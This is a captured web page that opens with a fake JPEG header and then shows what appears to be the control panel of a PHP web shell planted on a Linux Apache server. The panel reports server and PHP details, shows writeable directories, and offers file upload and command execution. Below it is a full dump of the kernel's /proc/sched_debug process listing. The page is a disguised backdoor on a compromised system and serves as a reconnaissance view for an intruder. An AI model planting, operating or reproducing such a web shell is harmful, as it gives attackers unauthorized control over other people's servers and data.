JFIFHHC     C  " 5????! ??? JFIF    >CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality C     p!ranha?
Server IP : 104.21.46.92  /  Your IP : 104.23.243.84
Web Server : Apache/2.4.51 (Unix) OpenSSL/1.1.1n
System : Linux ip-172-26-8-243 4.19.0-27-cloud-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : daemon ( 1)
PHP Version : 7.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/proc/thread-self/root/proc/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /proc/self/root/proc/thread-self/root/proc/sched_debug
Sched Debug Version: v0.11, 4.19.0-27-cloud-amd64 #1
ktime                                   : 976552183.432187
sched_clk                               : 976547158.983461
cpu_clk                                 : 976546875.910594
jiffies                                 : 4539030299
sched_clock_stable()                    : 1

sysctl_sched
  .sysctl_sched_latency                    : 12.000000
  .sysctl_sched_min_granularity            : 1.500000
  .sysctl_sched_wakeup_granularity         : 2.000000
  .sysctl_sched_child_runs_first           : 0
  .sysctl_sched_features                   : 4118331
  .sysctl_sched_tunable_scaling            : 1 (logaritmic)

cpu#0, 2499.998 MHz
  .nr_running                    : 1
  .load                          : 1048576
  .nr_switches                   : 58408726
  .nr_load_updates               : 27900847
  .nr_uninterruptible            : 106
  .next_balance                  : 4539.030296
  .curr->pid                     : 29771
  .clock                         : 976546875.869939
  .clock_task                    : 976546875.869939
  .cpu_load[0]                   : 4
  .cpu_load[1]                   : 94
  .cpu_load[2]                   : 90
  .cpu_load[3]                   : 62
  .cpu_load[4]                   : 38
  .avg_idle                      : 145476
  .max_idle_balance_cost         : 500000

cfs_rq[0]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 4342437.875692
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 0.000000
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 1048576
  .runnable_weight               : 1048576
  .load_avg                      : 630
  .runnable_load_avg             : 44
  .util_avg                      : 439
  .util_est_enqueued             : 35
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[0]:
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[0]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S           task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-----------------------------------------------------------------------------------------------------------
 S        systemd     1   4340504.800123     40630   120         0.000000      5800.663221         0.000000 0 0 /
 I         rcu_gp     3        13.970705         2   100         0.000000         0.002668         0.000000 0 0 /
 I     rcu_par_gp     4        15.970784         2   100         0.000000         0.001467         0.000000 0 0 /
 I   kworker/0:0H     6      1190.179767         4   100         0.000000         0.020887         0.000000 0 0 /
 I   mm_percpu_wq     8        22.041049         2   100         0.000000         0.002381         0.000000 0 0 /
 S    ksoftirqd/0     9   4342431.908998    821915   120         0.000000     12299.746324         0.000000 0 0 /
 I      rcu_sched    10   4342431.878950   7301410   120         0.000000     63142.884082         0.000000 0 0 /
 I         rcu_bh    11        28.415349         2   120         0.000000         0.000859         0.000000 0 0 /
 S    migration/0    12         0.000000    246209     0         0.000000      1755.342648         0.000000 0 0 /
 S        cpuhp/0    14      5072.202005         8   120         0.000000         0.099722         0.000000 0 0 /
 S     khungtaskd    24   4338431.622922      8083   120         0.000000       631.788419         0.000000 0 0 /
 S     oom_reaper    25        90.363439         2   120         0.000000         0.000000         0.000000 0 0 /
 I      writeback    26        90.363439         2   100         0.000000         0.000000         0.000000 0 0 /
 S           ksmd    28        99.948337         2   125         0.000000         0.000000         0.000000 0 0 /
 S     khugepaged    29   4342402.906634     95489   139         0.000000      2455.778276         0.000000 0 0 /
 I         crypto    30        99.948337         2   100         0.000000         0.000000         0.000000 0 0 /
 I    kintegrityd    31        97.948339         2   100         0.000000         0.000000         0.000000 0 0 /
 I       kthrotld    52       790.385336         2   100         0.000000         0.013635         0.000000 0 0 /
 I          kstrp    62       851.309320         2   100         0.000000         0.021126         0.000000 0 0 /
 I            ena   100       983.745658         2   100         0.000000         0.013766         0.000000 0 0 /
 I        nvme-wq   101      1045.200618         2   100         0.000000         0.009718         0.000000 0 0 /
 I  nvme-reset-wq   117      1055.200373         2   100         0.000000         0.005981         0.000000 0 0 /
 I   kworker/0:1H   170   4341967.987035     59483   100         0.000000       620.294107         0.000000 0 0 /
 S systemd-logind   529   4338011.724181      8930   120         0.000000       926.791664         0.000000 0 0 /
 S    in:imuxsock   544   4340125.545246     47997   120         0.000000      1597.647193         0.000000 0 0 /
 S        chronyd   551   4341134.570391      5213   120         0.000000       406.888029         0.000000 0 0 /
 S          gmain   580      3757.577232         1   120         0.000000         0.081271         0.000000 0 0 /
 S           sshd   553   4245804.232097     13291   120         0.000000      2052.991596         0.000000 0 0 /
 S        chronyd   554      3583.463861         3   120         0.000000         0.521507         0.000000 0 0 /
 S        php-fpm   669   4342402.157723   1012259   120         0.000000     50511.949427         0.000000 0 0 /
 S         mysqld   987   4337980.001528      8231   120         0.000000       615.958743         0.000000 0 0 /
 S         mysqld  1003   4342401.965061   1952609   120         0.000000     25532.566834         0.000000 0 0 /
 S         mysqld  1005   4342410.178317   1952616   120         0.000000     27086.333889         0.000000 0 0 /
 S         mysqld  1007   4342401.984169   1952620   120         0.000000     25788.120636         0.000000 0 0 /
 S         mysqld  1009   4342402.003301   1952932   120         0.000000     27503.384677         0.000000 0 0 /
 S         mysqld  1011   4342401.966490   1952675   120         0.000000     29211.066569         0.000000 0 0 /
 S         mysqld  1017   4342401.940322    976416   120         0.000000     34880.881642         0.000000 0 0 /
 S         mysqld  1018   4342401.899927    195297   120         0.000000      4406.466520         0.000000 0 0 /
 S         mysqld  1021   4342401.936790    977992   120         0.000000     28455.699013         0.000000 0 0 /
 S         mysqld  1023   4110191.545090       614   120         0.000000         8.199695         0.000000 0 0 /
 S         mysqld  1025   4110189.823885       598   120         0.000000         2.939439         0.000000 0 0 /
 S         mysqld  1026      6493.811772        21   120         0.000000         1.179575         0.000000 0 0 /
 S         mysqld  1027   4342401.909200    976405   120         0.000000     14632.205715         0.000000 0 0 /
 S         mysqld  1030   4341187.638299     32552   120         0.000000       721.211647         0.000000 0 0 /
 S         mysqld  1031      6505.990140         1   120         0.000000         0.165629         0.000000 0 0 /
 S         mysqld  1032      6513.073681        13   120         0.000000         1.083544         0.000000 0 0 /
 S         mysqld 17581   4337988.209516       320   120         0.000000        15.965953         0.000000 0 0 /
 S          gonit  1179      6854.803610        15   120         0.000000         4.310316         0.000000 0 0 /
 S          gonit  1180   4340347.863854    176276   120         0.000000      2021.785981         0.000000 0 0 /
 S          gonit  1183   3970299.147086     39765   120         0.000000      2540.370238         0.000000 0 0 /
 S          gonit  1552   1367628.471184     22525   120         0.000000      1452.943417         0.000000 0 0 /
 S          gonit 15286   4340348.125342     14942   120         0.000000       966.253211         0.000000 0 0 /
 S        polkitd 19081   3850733.773156       305   120         0.000000        19.876803         0.000000 0 0 /
 S          gmain 19082    200004.880093         5   120         0.000000         0.153433         0.000000 0 0 /
 I   kworker/u4:0 13674   4342401.898886    156976   120         0.000000      5582.248826         0.000000 0 0 /
 I    kworker/0:1  3049   4342426.503529    295012   120         0.000000      3629.286363         0.000000 0 0 /
 S          httpd 15146   3056774.968721         1   120         0.000000         0.027837         0.000000 0 0 /
 S          httpd 15147   3056780.951782         1   120         0.000000         0.004057         0.000000 0 0 /
 S          httpd 15148   3056786.965776         1   120         0.000000         0.013997         0.000000 0 0 /
 S          httpd 15149   3056792.975191         1   120         0.000000         0.009418         0.000000 0 0 /
 S          httpd 15150   3056798.984178         1   120         0.000000         0.008990         0.000000 0 0 /
 S          httpd 15151   3056804.993256         1   120         0.000000         0.009081         0.000000 0 0 /
 S          httpd 15152   3056811.002545         1   120         0.000000         0.009292         0.000000 0 0 /
 S          httpd 15153   3056817.011702         1   120         0.000000         0.009160         0.000000 0 0 /
 S          httpd 15154   3056823.020935         1   120         0.000000         0.009236         0.000000 0 0 /
 S          httpd 15155   3056829.030086         1   120         0.000000         0.009154         0.000000 0 0 /
 S          httpd 15156   3056835.039846         1   120         0.000000         0.009763         0.000000 0 0 /
 S          httpd 15157   3056841.049071         1   120         0.000000         0.009228         0.000000 0 0 /
 S          httpd 15158   3056847.058298         1   120         0.000000         0.009230         0.000000 0 0 /
 S          httpd 15159   3056853.067419         1   120         0.000000         0.009124         0.000000 0 0 /
 S          httpd 15160   3056859.077017         1   120         0.000000         0.009601         0.000000 0 0 /
 S          httpd 15161   3056865.087014         1   120         0.000000         0.010000         0.000000 0 0 /
 S          httpd 15162   3056871.096252         1   120         0.000000         0.009241         0.000000 0 0 /
 S          httpd 15163   3056877.121973         1   120         0.000000         0.025724         0.000000 0 0 /
 S          httpd 15164   3056883.126778         1   120         0.000000         0.004808         0.000000 0 0 /
 S          httpd 15165   3056889.136916         1   120         0.000000         0.010141         0.000000 0 0 /
 S          httpd 15166   3056895.146847         1   120         0.000000         0.009934         0.000000 0 0 /
 S          httpd 15167   3056901.156192         1   120         0.000000         0.009348         0.000000 0 0 /
 S          httpd 15168   3056907.165453         1   120         0.000000         0.009264         0.000000 0 0 /
 S          httpd 15169   3056913.175394         1   120         0.000000         0.009944         0.000000 0 0 /
 S          httpd 15170   3056919.184662         1   120         0.000000         0.009271         0.000000 0 0 /
 S          httpd 15171   3056925.194343         1   120         0.000000         0.009684         0.000000 0 0 /
 S          httpd 15172   3056931.221753         1   120         0.000000         0.027413         0.000000 0 0 /
 S          httpd 15173   3056937.219592         1   120         0.000000         0.004004         0.000000 0 0 /
 S          httpd 15174   3056943.262765         1   120         0.000000         0.043176         0.000000 0 0 /
 S          httpd 15175   3056953.240341         1   120         0.000000         0.002867         0.000000 0 0 /
 S          httpd 15176   3056947.265264         1   120         0.000000         0.004849         0.000000 0 0 /
 S          httpd 15177   3056959.249846         1   120         0.000000         0.009508         0.000000 0 0 /
 S          httpd 15178   3056965.258973         1   120         0.000000         0.009130         0.000000 0 0 /
 S          httpd 15179   3056971.268917         1   120         0.000000         0.009947         0.000000 0 0 /
 S          httpd 15180   3056977.279526         1   120         0.000000         0.010612         0.000000 0 0 /
 S          httpd 15181   3056983.289021         1   120         0.000000         0.009498         0.000000 0 0 /
 S          httpd 15182   3056989.298942         1   120         0.000000         0.009924         0.000000 0 0 /
 S          httpd 15183   3056995.330570         1   120         0.000000         0.031631         0.000000 0 0 /
 S          httpd 15184   3057001.323385         1   120         0.000000         0.003986         0.000000 0 0 /
 S          httpd 15185   3057007.333733         1   120         0.000000         0.010351         0.000000 0 0 /
 S          httpd 15186   3057013.343259         1   120         0.000000         0.009529         0.000000 0 0 /
 S          httpd 15187   3057019.352512         1   120         0.000000         0.009256         0.000000 0 0 /
 S          httpd 15188   3057025.362051         1   120         0.000000         0.009542         0.000000 0 0 /
 S          httpd 15189   3057031.371225         1   120         0.000000         0.009177         0.000000 0 0 /
 S          httpd 15190   3057037.380290         1   120         0.000000         0.009068         0.000000 0 0 /
 S          httpd 15191   3057043.391397         1   120         0.000000         0.011110         0.000000 0 0 /
 S          httpd 15192   3057049.400608         1   120         0.000000         0.009214         0.000000 0 0 /
 S          httpd 15193   3057055.409739         1   120         0.000000         0.009134         0.000000 0 0 /
 S          httpd 15194   3057061.418945         1   120         0.000000         0.009209         0.000000 0 0 /
 S          httpd 15195   3057067.428187         1   120         0.000000         0.009245         0.000000 0 0 /
 S          httpd 15196   3057073.437433         1   120         0.000000         0.009249         0.000000 0 0 /
 S          httpd 15197   3057079.446770         1   120         0.000000         0.009340         0.000000 0 0 /
 S          httpd 15198   3057085.456259         1   120         0.000000         0.009492         0.000000 0 0 /
 S          httpd 15199   3057091.465594         1   120         0.000000         0.009338         0.000000 0 0 /
 S          httpd 15200   3057097.474937         1   120         0.000000         0.009346         0.000000 0 0 /
 S          httpd 15201   3057103.484106         1   120         0.000000         0.009172         0.000000 0 0 /
 S          httpd 15202   3057109.493271         1   120         0.000000         0.009168         0.000000 0 0 /
 S          httpd 15203   3057115.502824         1   120         0.000000         0.009556         0.000000 0 0 /
 S          httpd 15204   3057121.512374         1   120         0.000000         0.009553         0.000000 0 0 /
 S          httpd 15205   3057127.521591         1   120         0.000000         0.009220         0.000000 0 0 /
 S          httpd 15206   3057133.530829         1   120         0.000000         0.009241         0.000000 0 0 /
 S          httpd 15207   3057139.539930         1   120         0.000000         0.009104         0.000000 0 0 /
 S          httpd 15208   3057145.549215         1   120         0.000000         0.009288         0.000000 0 0 /
 S          httpd 15209   3057151.558330         1   120         0.000000         0.009118         0.000000 0 0 /
 S          httpd 15213   4342382.531572     14470   120         0.000000      4668.219448         0.000000 0 0 /
 S          httpd 15214   4341752.689053     15618   120         0.000000      5174.672118         0.000000 0 0 /
 S          httpd 15218   4341837.238854     14271   120         0.000000      4867.316943         0.000000 0 0 /
 S          httpd 15229   4341698.618900     14435   120         0.000000      4673.703229         0.000000 0 0 /
 S          httpd 15232   4341823.090331     15237   120         0.000000      4805.966124         0.000000 0 0 /
 S          httpd 15234   4342159.034756     13330   120         0.000000      4735.304185         0.000000 0 0 /
 S          httpd 15235   4342030.731465     14251   120         0.000000      4680.580868         0.000000 0 0 /
 S          httpd 15237   4342153.339887     15107   120         0.000000      4726.295036         0.000000 0 0 /
 S          httpd 15238   4341791.126822     14998   120         0.000000      5019.035800         0.000000 0 0 /
 S          httpd 15245   4341843.916624     15337   120         0.000000      4803.675640         0.000000 0 0 /
 S          httpd 15247   4342429.677901     15853   120         0.000000      5142.855069         0.000000 0 0 /
 S          httpd 15249   4341692.014949     15808   120         0.000000      4982.427880         0.000000 0 0 /
 S          httpd 15250   4342119.165163     15099   120         0.000000      5052.428862         0.000000 0 0 /
 S          httpd 15253   4341817.023171     14665   120         0.000000      4810.856299         0.000000 0 0 /
 S          httpd 15255   4341855.324118     13962   120         0.000000      4861.555420         0.000000 0 0 /
 S          httpd 15256   4342056.655654     14515   120         0.000000      4824.749961         0.000000 0 0 /
 S          httpd 15259   4342281.755659     14483   120         0.000000      4907.030737         0.000000 0 0 /
 S          httpd 15261   4341810.689932     14255   120         0.000000      4656.614253         0.000000 0 0 /
 S          httpd 15264   4341956.817044     13910   120         0.000000      4561.433699         0.000000 0 0 /
 S          httpd 15265   4342217.734307     15697   120         0.000000      4892.065333         0.000000 0 0 /
 S          httpd 15266   4342238.970937     13635   120         0.000000      4759.864412         0.000000 0 0 /
 S          httpd 15270   4341854.815614     15780   120         0.000000      5151.880803         0.000000 0 0 /
 S          httpd 15273   4341772.993404     14699   120         0.000000      4955.190976         0.000000 0 0 /
 S          httpd 12984   3330979.897594         1   120         0.000000         2.339710         0.000000 0 0 /
 S          httpd 13050   4342208.313474     13260   120         0.000000      4266.607821         0.000000 0 0 /
 S          httpd 13051   4342416.891452     13394   120         0.000000      4383.230003         0.000000 0 0 /
 S          httpd 13054   4342286.210516     12483   120         0.000000      4213.080054         0.000000 0 0 /
 S          httpd 13055   4342363.944122     13010   120         0.000000      4228.644303         0.000000 0 0 /
 S          httpd 13058   4342302.839271     12236   120         0.000000      4148.388616         0.000000 0 0 /
 S          httpd 13060   4342326.712443     12408   120         0.000000      4113.593517         0.000000 0 0 /
 S          httpd 13061   4342298.407153     12545   120         0.000000      4143.526401         0.000000 0 0 /
 S          httpd 13062   4341931.889060     12192   120         0.000000      4075.164303         0.000000 0 0 /
 S          httpd 13063   4342297.293445     13927   120         0.000000      4441.286118         0.000000 0 0 /
 S          httpd 13064   4341865.205605     12543   120         0.000000      4270.711077         0.000000 0 0 /
 S          httpd 13067   4342177.509410     12884   120         0.000000      4303.326780         0.000000 0 0 /
 S          httpd 13069   4342035.313830     13214   120         0.000000      4238.455998         0.000000 0 0 /
 S          httpd 13076   4341927.170535     12930   120         0.000000      4356.664965         0.000000 0 0 /
 S          httpd 13079   4342396.906935     11687   120         0.000000      4117.991817         0.000000 0 0 /
 S          httpd 13080   4342333.048315     12960   120         0.000000      4191.227845         0.000000 0 0 /
 S          httpd 13081   4342326.995707     12076   120         0.000000      4191.958167         0.000000 0 0 /
 S          httpd 13084   4342432.004112     12772   120         0.000000      4165.662557         0.000000 0 0 /
 S          httpd 13085   4342402.094218     13011   120         0.000000      4147.963921         0.000000 0 0 /
 S          httpd 13088   4342402.018951     13467   120         0.000000      4372.250948         0.000000 0 0 /
 S          httpd 13089   4342403.051425     13218   120         0.000000      4238.954337         0.000000 0 0 /
 S          httpd 13090   4342016.847264     12547   120         0.000000      4145.017020         0.000000 0 0 /
 S          httpd 13091   4342257.345833     13273   120         0.000000      4213.033386         0.000000 0 0 /
 S          httpd 13093   4342382.934267     12731   120         0.000000      4337.630779         0.000000 0 0 /
 S          httpd 13096   4342226.733179     12888   120         0.000000      4243.231028         0.000000 0 0 /
 S          httpd 13097   4342227.222143     12082   120         0.000000      4253.095009         0.000000 0 0 /
 S          httpd 13102   4342401.927573     12672   120         0.000000      4186.950917         0.000000 0 0 /
 S          httpd 13104   4342376.922530     12800   120         0.000000      4229.455324         0.000000 0 0 /
 S          httpd 13105   4342402.039732     13773   120         0.000000      4250.339957         0.000000 0 0 /
 S          httpd 13106   4342251.359136     12639   120         0.000000      4253.002788         0.000000 0 0 /
 S          httpd 13107   4342401.931912     13192   120         0.000000      4291.498066         0.000000 0 0 /
 S          httpd 13109   4342226.697763     12762   120         0.000000      4354.759673         0.000000 0 0 /
 S          httpd 13110   4342402.013576     13018   120         0.000000      4260.947541         0.000000 0 0 /
 S          httpd 13111   4342151.259505     13639   120         0.000000      4330.564692         0.000000 0 0 /
 S          httpd 13114   4342402.358927    133464   120         0.000000      5611.184958         0.000000 0 0 /
 I    kworker/0:0 18347   3850739.721757         3   120         0.000000         0.013611         0.000000 0 0 /
 S          httpd 28018   4108871.719682         3   120         0.000000         2.326251         0.000000 0 0 /
 S          httpd 28084   4342357.658069      2817   120         0.000000       942.705766         0.000000 0 0 /
 S          httpd 28085   4342428.124060      2667   120         0.000000       938.183266         0.000000 0 0 /
 S          httpd 28086   4342383.447490      2933   120         0.000000       955.151385         0.000000 0 0 /
 S          httpd 28088   4342401.924047      3530   120         0.000000      1053.668193         0.000000 0 0 /
 S          httpd 28090   4342401.927863      3002   120         0.000000       964.704385         0.000000 0 0 /
 S          httpd 28093   4341894.583909      2982   120         0.000000      1020.578577         0.000000 0 0 /
 S          httpd 28095   4342401.926060      3152   120         0.000000       982.273626         0.000000 0 0 /
 S          httpd 28096   4341958.605452      3233   120         0.000000      1043.302794         0.000000 0 0 /
 S          httpd 28097   4341956.898802      2992   120         0.000000       981.575494         0.000000 0 0 /
 S          httpd 28098   4341999.524593      3178   120         0.000000      1038.049649         0.000000 0 0 /
 S          httpd 28099   4342196.886808      3117   120         0.000000      1006.567302         0.000000 0 0 /
 S          httpd 28100   4342042.995105      3814   120         0.000000      1126.405341         0.000000 0 0 /
 S          httpd 28101   4342005.692359      3005   120         0.000000       994.707868         0.000000 0 0 /
 S          httpd 28102   4341891.938345      2579   120         0.000000       949.558578         0.000000 0 0 /
 S          httpd 28103   4341991.275014      3063   120         0.000000      1020.068057         0.000000 0 0 /
 S          httpd 28104   4341894.503391      3382   120         0.000000      1042.283066         0.000000 0 0 /
 S          httpd 28108   4342165.000359      3334   120         0.000000      1015.147428         0.000000 0 0 /
 S          httpd 28109   4341979.930205      3609   120         0.000000      1118.322096         0.000000 0 0 /
 S          httpd 28111   4342011.740582      3077   120         0.000000      1024.054885         0.000000 0 0 /
 S          httpd 28112   4342437.875692      2858   120         0.000000       955.426221         0.000000 0 0 /
 S          httpd 28113   4342269.777054      3333   120         0.000000      1030.109520         0.000000 0 0 /
 S          httpd 28114   4342171.380900      3451   120         0.000000      1078.892213         0.000000 0 0 /
 S          httpd 28115   4342018.765149      2835   120         0.000000       926.018909         0.000000 0 0 /
 S          httpd 28116   4342042.857401      3238   120         0.000000      1030.050560         0.000000 0 0 /
 S          httpd 28117   4342220.453879      3013   120         0.000000       960.734294         0.000000 0 0 /
 S          httpd 28118   4342203.080563      3152   120         0.000000      1038.730852         0.000000 0 0 /
 S          httpd 28119   4342099.503389      3185   120         0.000000      1056.221007         0.000000 0 0 /
 S          httpd 28120   4342171.280099      3190   120         0.000000      1053.842201         0.000000 0 0 /
 S          httpd 28123   4342245.042362      2670   120         0.000000       964.886198         0.000000 0 0 /
 S          httpd 28126   4342202.166391      3182   120         0.000000      1010.040209         0.000000 0 0 /
 S          httpd 28128   4342402.007012      3159   120         0.000000       984.419938         0.000000 0 0 /
 S          httpd 28129   4342172.864223      3068   120         0.000000      1001.617637         0.000000 0 0 /
 S          httpd 28130   4342370.092249      3033   120         0.000000      1037.174598         0.000000 0 0 /
 S          httpd 28133   4342245.090319      2611   120         0.000000       946.331652         0.000000 0 0 /
 S          httpd 28134   4342315.239679      3112   120         0.000000      1037.173167         0.000000 0 0 /
 S          httpd 28135   4342296.184015      3481   120         0.000000      1113.518420         0.000000 0 0 /
 S          httpd 28136   4342402.060090      3277   120         0.000000      1072.028490         0.000000 0 0 /
 S          httpd 28140   4342320.867060      3345   120         0.000000      1044.077729         0.000000 0 0 /
 S          httpd 28141   4342333.237812      2860   120         0.000000       998.772367         0.000000 0 0 /
 S          httpd 28142   4342376.324124      3003   120         0.000000       987.526843         0.000000 0 0 /
 S          httpd 28144   4342402.018172      3076   120         0.000000       993.235492         0.000000 0 0 /
 S          httpd 28145   4342402.040408      2879   120         0.000000       936.721794         0.000000 0 0 /
 S          httpd 28146   4342403.451663      3339   120         0.000000      1076.096170         0.000000 0 0 /
 S          httpd 28148   4342402.558428     31055   120         0.000000      1316.129899         0.000000 0 0 /
 S        php-fpm 29233   4342428.396800       670   120         0.000000       264.704161         0.000000 0 0 /
 S        php-fpm 29316   4342427.586321       594   120         0.000000       276.610051         0.000000 0 0 /
 S        php-fpm 29394   4342429.318873       522   120         0.000000       185.265294         0.000000 0 0 /
 S        php-fpm 29415   4342430.552681       503   120         0.000000       232.232549         0.000000 0 0 /
 S        php-fpm 29514   4342429.576496       392   120         0.000000       213.550347         0.000000 0 0 /
>R        php-fpm 29771   4342435.542831       133   120         0.000000        41.429900         0.000000 0 0 /

cpu#1, 2499.998 MHz
  .nr_running                    : 2
  .load                          : 2097152
  .nr_switches                   : 57149979
  .nr_load_updates               : 27547589
  .nr_uninterruptible            : -106
  .next_balance                  : 4539.030324
  .curr->pid                     : 29471
  .clock                         : 976546877.764631
  .clock_task                    : 976546877.764631
  .cpu_load[0]                   : 521
  .cpu_load[1]                   : 480
  .cpu_load[2]                   : 380
  .cpu_load[3]                   : 253
  .cpu_load[4]                   : 150
  .avg_idle                      : 688413
  .max_idle_balance_cost         : 500000

cfs_rq[1]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 4471317.798007
  .min_vruntime                  : 4471317.798007
  .max_vruntime                  : 4471317.798007
  .spread                        : 0.000000
  .spread0                       : 128879.922315
  .nr_spread_over                : 0
  .nr_running                    : 2
  .load                          : 2097152
  .runnable_weight               : 2097152
  .load_avg                      : 1032
  .runnable_load_avg             : 794
  .util_avg                      : 715
  .util_est_enqueued             : 250
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[1]:
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[1]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S           task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-----------------------------------------------------------------------------------------------------------
 S       kthreadd     2   3970844.158036       233   120         0.000000         5.792036         0.000000 0 0 /
 S        cpuhp/1    15      3746.386358         9   120         0.000000        10.602354         0.000000 0 0 /
 S    migration/1    16         0.000000    246334     0         0.000000      1906.963259         0.000000 0 0 /
 S    ksoftirqd/1    17   4471311.551107    846890   120         0.000000     12014.965356         0.000000 0 0 /
 I   kworker/1:0H    19      1704.602710         5   100         0.000000         0.028660         0.000000 0 0 /
 S      kdevtmpfs    20      2805.711052       120   120         0.000000         1.724010         0.000000 0 0 /
 I          netns    21        16.441038         2   100         0.000000         0.000000         0.000000 0 0 /
 S        kauditd    22      1306.336403         6   120         0.000000        27.017335         0.000000 0 0 /
 S     kcompactd0    27        38.850054         2   120         0.000000         0.000000         0.000000 0 0 /
 I        kblockd    32        38.850054         2   100         0.000000         0.000000         0.000000 0 0 /
 S      watchdogd    33         0.000000         2     0         0.000000         0.007349         0.000000 0 0 /
 S        kswapd0    36   4389289.558163      4068   120         0.000000      5488.597657         0.000000 0 0 /
 I  ipv6_addrconf    53       194.831053         2   100         0.000000         0.022131         0.000000 0 0 /
 I nvme-delete-wq   118       397.013105         2   100         0.000000         0.009748         0.000000 0 0 /
 I   kworker/u5:0   168       630.424911         2   100         0.000000         0.012356         0.000000 0 0 /
 Sjbd2/nvme0n1p1-   171   4471260.772541    268124   120         0.000000      9040.387003         0.000000 0 0 /
 Iext4-rsv-conver   172       766.695137         2   100         0.000000         0.015553         0.000000 0 0 /
 Ssystemd-journal   232   4469765.824712     55989   120         0.000000     12684.099107         0.000000 0 0 /
 S  systemd-udevd   243   4466215.521828      8399   120         0.000000       822.739567         0.000000 0 0 /
 S        haveged   294      1598.445868        58   120         0.000000       267.651835         0.000000 0 0 /
 I   kworker/1:1H   325   4471291.328280     56325   100         0.000000       575.588320         0.000000 0 0 /
 S       dhclient   348   4418285.687405      3776   120         0.000000       385.525902         0.000000 0 0 /
 S       dhclient   441   4469103.690772     82658   120         0.000000      8623.927109         0.000000 0 0 /
 S           cron   530   4469504.669870     16907   120         0.000000      1143.268144         0.000000 0 0 /
 S       rsyslogd   531   4455101.734000      1672   120         0.000000        51.475298         0.000000 0 0 /
 S      in:imklog   545      3746.416643         4   120         0.000000         0.722933         0.000000 0 0 /
 S  rs:main Q:Reg   547   4468524.184252     40913   120         0.000000      1303.193929         0.000000 0 0 /
 S    dbus-daemon   535   3970838.548184      1962   120         0.000000       297.607903         0.000000 0 0 /
 S            atd   539   4436439.940095       283   120         0.000000         8.389378         0.000000 0 0 /
 Sunattended-upgr   552      2974.832582       157   120         0.000000        74.378641         0.000000 0 0 /
 S          httpd   701   4471260.765014    975660   120         0.000000     33107.904014         0.000000 0 0 /
 S         mysqld  1002      5658.330260         1   120         0.000000         0.916414         0.000000 0 0 /
 S         mysqld  1004   4471260.748507   1953094   120         0.000000     27598.760068         0.000000 0 0 /
 S         mysqld  1006   4471291.347547   1952625   120         0.000000     25663.243873         0.000000 0 0 /
 S         mysqld  1008   4471266.841278   1952622   120         0.000000     26162.897206         0.000000 0 0 /
 S         mysqld  1010   4471260.766099   1952744   120         0.000000     28359.267139         0.000000 0 0 /
 S         mysqld  1012   4471260.739767   1952839   120         0.000000     27046.328937         0.000000 0 0 /
 S         mysqld  1013   4471260.750327   1343826   120         0.000000     27770.960736         0.000000 0 0 /
 S         mysqld  1016   4471260.723487    976407   120         0.000000     21612.118862         0.000000 0 0 /
